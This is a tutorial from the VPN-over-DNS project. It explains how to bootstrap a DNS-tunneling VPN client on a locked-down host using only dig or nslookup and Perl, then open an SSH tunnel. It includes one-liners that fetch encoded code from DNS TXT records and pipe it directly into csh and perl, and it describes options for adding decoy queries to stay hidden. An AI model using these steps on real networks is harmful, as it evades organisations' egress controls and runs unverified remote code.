This tool is for penetration testing only. Never use a DNS resolver connected to the Internet on your IS.
Our VPN infrastructure is hosted on the Amazon EC2 & OVH clouds
open-source software: Java server, Flex client for Adobe AIR and Perl client are available on GitHub
The main goal
Here is the blind hacker's DNS tunneling approach.
Useful when you can access really nothing but dig (or nslookup) and a Perl runtime, not even root-level permission.
And you need to set up a tunnel to the Internet.
Yes, you don't either have any USB key with some bootable OS inside. Nor any electronic device that could help you install anything locally to bootstrap and do your job.
Simply because when you entered the room, you had to walk through a metal detector. And you have not even thought about trying to hide a small CD-Rom in one of your shoes, since it would have been rather difficult to explain it was just an omission, in case somebody had found it.
WTF? No problem! You can bootstrap a full VPN client and get Internet access only with dig (or nslookup) and a simple core Perl installation. Anywhere and whenever your need it. For free.
So, here are the specific steps to achieve this goal.
Check DNS availability
To easily check that a DNS tunnel may be established, simply ping some public host on the Internet and wait for a response. If there is not any answer, but an IP address is displayed by the ping command and this address is a public Internet address (this means the network this address belongs to is not listed in RFC-1918), then you may probably establish a DNS tunnel.
In the following example, the test is positive (you can certainly establish a tunnel):
PING vpnoverdns.com (149.202.53.208): 56 data bytes
^C
--- vpnoverdns.com ping statistics ---
105 packets transmitted, 0 packets received, 100.0% packet loss
nsa1%
In the following example, the test is negative (you cannot establish a tunnel):
ping: cannot resolve www.vpnoverdns.com: Unknown host
nsa1%
Download instructions
You do not need to remember instructions, they are self-contained in the vpnoverdns.com zone file. Simply get the TXT records associated with this domain to know how to to begin the process.
In the following example, we use dig to get the instructions:
"get TXT record type for sha256.vpnoverdns.com to get fingerprints"
"get TXT record type for bootstrap.vpnoverdns.com to get instructions to download the Perl VPN client"
nsa1%
In the following example, we use nslookup instead of dig:
> set type=TXT
> vpnoverdns.com.
Server: 192.168.0.6
Address: 192.168.0.6#53
vpnoverdns.com text = "get TXT record type for bootstrap.vpnoverdns.com to get instructions to download the Perl VPN client"
vpnoverdns.com text = "get TXT record type for sha256.vpnoverdns.com to get fingerprints"
> exit
nsa1%
We have just gotten the first two instructions here:
Bootstrap
The same way that previously, we use dig or nslookup to get the content of the TXT resource record for bootstrap.vpnoverdns.com. This way, we get the following string:
dig perl.vpnoverdns.com. txt +short | tr '\\' ' ' | xargs csh -c # see TXT value for dig.vpnoverdns.com if you do not have dig but nslookup only
As you can see, it contains a shell command line, based on dig, and a comment explaining what to do when dig is not available.
First, let's suppose that dig is not available.
When dig is not available
We first suppose that dig is not available and get the TXT resource record for dig.vpnoverdns.com, as required in the comment.
This TXT record contains:
To follow the instructions, we use nslookup to get TXT records for {0,1,2}.dig.vpnoverdns.com and for base64.vpnoverdns.com. Here are the results:
1.dig.vpnoverdns.com: "Vhak2pZUlCioGCoY2akZKtQopBelAlUnKqgrqQN5xakpCg=="
2.dig.vpnoverdns.com: "6sX6elpKMRp6WjGaSnpa+koxhkr66lwAjdixemUAAAA="
base64.vpnoverdns.com: "perl -MMIME::Base64 -ne 'print decode_base64($_)\;' # remove backslash if any just before the semicolon"
This means that we must create a file containing the first three results, apply the command in the last result to decode the content of the file and get a shell script that wraps nslookup to implement a minimal version of dig:
nsa1% echo "Vhak2pZUlCioGCoY2akZKtQopBelAlUnKqgrqQN5xakpCg==" >> encoded.txt
nsa1% echo "6sX6elpKMRp6WjGaSnpa+koxhkr66lwAjdixemUAAAA=" >> encoded.txt
nsa1% perl -MMIME::Base64 -ne 'print decode_base64($_);' < encoded.txt > dig.gz
As you can see, we removed the backslash just before the semicolon in the perl parameter and used the perl command to convert the encoded file to a gzip file named dig.gz. We can now create our dig implementation:
nsa1% chmod +x dig
nsa1% cat dig
#!/bin/sh
nslookup -timeout=5 -retry=10 -type=txt $1 2>&1 | grep -a '"' | sed 's/.*"\(.*\)".*/"\1"/'
nsa1%
Now, we must add "." at the end of your PATH, in order to be able to use this implementation of dig.
Get fingerprints
As explained previously, we may now download SHA-256 fingerprints for later use:
"sha256 vpnoverdns.pl: 7c7eac1984b8759252c734a69ce4e2507c4a209425107b0e9c1afc1f3e5d5a20"
"sha256 Net-DNS-1.02.tar.gz: 9473c322b036592663bb20383e85190a682d142688b162efc975a61bcc7534f2"
nsa1%
Launch the downloader
During the previous step named "Bootstrap", we had gotten the following command line: dig perl.vpnoverdns.com. txt +short | tr '\\' ' ' | xargs csh -c
This command line is used to download and launch a one-liner downloader written in shell language. If you want to check the content of the one-liner, for security reasons, just do the following:
"(echo set i=0\;echo 'while($i<1644)'\;echo dig '$i'.v1.src.vpnoverdns.com. TXT +short\;echo @ i++\;echo end)|csh -f|sed -e s/.// -e 's/.$//'|perl -MMIME::Base64 -ne 'print decode_base64($_)\;'>vpnoverdns.pl\;perl vpnoverdns.pl"
nsa1%
We can now run the downloader. After somes minutes and about one to two thousand DNS replies, the downloader creates the file vpnoverdns.pl and runs it with Perl, without any parameter. This way, the usage instructions are displayed:
Usage:
vpnoverdns.pl [-dvFnsp] [NUMERIC_OPTS] -i username password
[...]
nsa1%
We could have downloaded vpnoverdns.pl more securely, manually checking its SHA-256 fingerprint before running it, this way (just remove the vponverdns.pl invocation by adding "sed 's/perl vpnoverdns.pl//'" in the pipeline):
7c7eac1984b8759252c734a69ce4e2507c4a209425107b0e9c1afc1f3e5d5a20
nsa1%
If the required Perl module Net::DNS is not part of your Perl installation, you may not see the synopsis but the following error message:
Net::DNS required Perl module not installed.
Note that you should avoid installing Net::DNS 1.03 because of a bug in this specific version (see https://rt.cpan.org/Public/Bug/Display.html?id=108745).
If you have Internet access, try running 'cpan N/NL/NLNETLABS/Net-DNS-1.02.tar.gz'
If you do not have Internet access, try running the following two command lines:
dig netdns.vpnoverdns.com. txt +short | tr '\' ' ' | xargs csh -c
cpan Net-DNS-1.02.tar.gz
More help available in the comments at the beginning of this Perl file and on https://www.vpnvoverdns.com/download.html#cli
nsa1%
Net::DNS installation
We suppose here that the vpnoverdns.pl Perl client has just warned us about Net::DNS not being installed locally. If it is not the case, you can go directly to the next section.
Thus, we follow the given instructions; we download Net::DNS sources (Net-DNS-1.02.tar.gz) with "dig netdns.vpnoverdns.com. txt +short | tr '\' ' ' | xargs csh -c" and install this module:
nsa1% tar zxf Net-DNS-1.02.tar.gz
nsa1% cd Net-DNS-1.02
nsa1% perl Makefile.PL INSTALL_BASE=$HOME
Testing if you have a C compiler and the needed header files....
You have a working compiler.
Activating Non Fatal Online Tests...
Warning!
========
Online tests depend on conditions beyond the control of Net::DNS. The tests
[...]
nsa1%
nsa1% make
cp lib/Net/DNS/RR/MR.pm blib/lib/Net/DNS/RR/MR.pm
[...]
nsa1%
nsa1% make install
Running Mkbootstrap for Net::DNS ()
chmod 644 DNS.bs
Files found in blib/arch: installing files in blib/lib into architecture dependent library tree
Installing /home/user/perl5/lib/perl5/amd64-freebsd-thread-multi/auto/Net/DNS/DNS.so
[...]
Installing /home/user/perl5/lib/perl5/amd64-freebsd-thread-multi/Net/DNS/Resolver/Cygwin.pm
Installing /home/user/perl5/man/man3/Net::DNS.3
[...]
Installing /home/user/perl5/man/man3/Net::DNS::Update.3
Appending installation info to /home/user/perl5/lib/perl5/amd64-freebsd-thread-multi/perllocal.pod
nsa1%
nsa1% cd $HOME
nsa1% perl -I$HOME/perl5/lib/perl5 vpnoverdns.pl
Usage:
[...]
nsa1%
- with csh or tcsh: "setenv PERL5LIB $HOME/perl5/lib/perl5"
- with bash, zsh or ksh: "export PERL5LIB=$HOME/perl5/lib/perl5"
Note that Net::DNS may be installed by cpan or manually in $HOME/lib/perl5 instead of $HOME/perl5/lib/perl5. In such a case, be sure to select to appropriate directory after -I or when setting PERL5LIB.
Check communications
Now that we have installed the VPN-over-DNS client, we can estimate the average DNS round-trip-time between your host and the VPN-over-DNS server farm. This is a way to check that communications with the VPN server farm work correctly:
>>> send ping request, waiting for 1 byte
>>> response received in 0.0319509506225586 s
>>> send ping request, waiting for 2 bytes
>>> response received in 0.0290169715881348 s
>>> send ping request, waiting for 3 bytes
>>> response received in 0.0289311408996582 s
>>> send ping request, waiting for 4 bytes
>>> response received in 0.0289859771728516 s
>>> send ping request, waiting for 5 bytes
>>> response received in 0.0290789604187012 s
failed requests: 0 / 5 (0%)
average rtt for non failed requests: 0.0246606667836507 s
nsa1%
Create your first tunnel
Now that we have completed the installation steps, we can use the features described in the user's manual. In this tutorial, we have not installed the optional Perl modules needed to use the [-i|--initialize] command line parameter (more details here), because those optional modules would take hours to days to be downloaded using this bootstrap procedure based on DNS requests. For this reason, we need to initialize the VPN-over-DNS client with the [-A|--anonymous] or [-u|--uuid] parameters. See the user's manual to get more informations about these parameters. In the following example, we simply use the [-A|--anonymous] parameter and open a DNS tunnel to connect with SSH to a host on the Internet:
nsa1%
nsa1% perl vpnoverdns.pl -F -S fenyo.net -o '-l fenyo'
Last login: Wed Dec 16 14:25:42 2015
FreeBSD 10.2-RELEASE-p2 (MYKERNEL)
virt%
We could also have opened this tunnel using the [-s|--silent] option to avoid bursts of DNS queries and using the [-f|--fuzzy] option to add a background noise of fake DNS queries, in order to try to stay hidden (we avoid the [-F|--fast] option, in order to use only A records):
nsa1%
nsa1% perl vpnoverdns.pl -s -f 5 -S fenyo.net -o '-l fenyo'
Last login: Wed Dec 16 14:25:42 2015
FreeBSD 10.2-RELEASE-p2 (MYKERNEL)
virt%
Further readings
Standard installation:
New mobile app from the same developer See our new amazing app for iOS: WiFi Map Explorer
Server and clients are now open-source: GPLv3 Explore the source tree on GitHub